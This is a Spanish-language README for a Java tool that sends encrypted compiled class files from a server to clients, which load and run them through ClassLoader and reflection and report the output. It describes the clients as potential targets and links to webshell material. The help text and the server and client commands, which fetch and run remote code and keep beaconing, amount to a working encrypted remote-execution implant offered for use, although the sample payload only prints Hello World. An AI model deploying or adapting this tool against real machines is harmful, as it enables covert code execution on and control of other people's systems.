
Herramienta cliente-servidor para cargar y ejecutar bytecode Java de forma remota mediante ClassLoader y Reflect API, con cifrado ChaCha20 y conexión keepalive.
Esta herramienta te permite enviar bytecode de Java en forma de archivos de clase a tus clientes (o potenciales objetivos) para cargarlos y ejecutarlos usando ClassLoader de Java junto con la API Reflect. El cliente recibe el archivo de clase del servidor y devuelve la salida de ejecución correspondiente. Los payloads deben estar escritos en Java y compilados antes de iniciar el servidor.
La herramienta ha sido probada usando OpenJDK 11 con el paquete JRE de Java, tanto en Windows como en Linux (versión portable zip). La versión de Java debe ser 11 o superior debido a las dependencias.
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
Suponiendo que tienes el siguiente payload Hello World en el archivo Payload.java:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
Luego debes compilar y producir el archivo Payload.class correspondiente.
Para ejecutar el proceso del servidor escuchando en el puerto 1337 en todas las interfaces de red:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
En el lado del cliente, puedes usar el mismo paquete JAR con la bandera -client y usar la clave simétrica generada por el servidor. Especifica la dirección IP y el puerto del servidor al que conectarte. También puedes cambiar el nombre de la clase y el método de la clase (los valores predeterminados son Payload y String exec() respectivamente). Además, puedes especificar -keepalive para que el cliente siga solicitando el archivo de clase del servidor mientras mantiene la conexión.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
Consulta https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ para una publicación de blog relacionada con el desarrollo de esta herramienta.
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html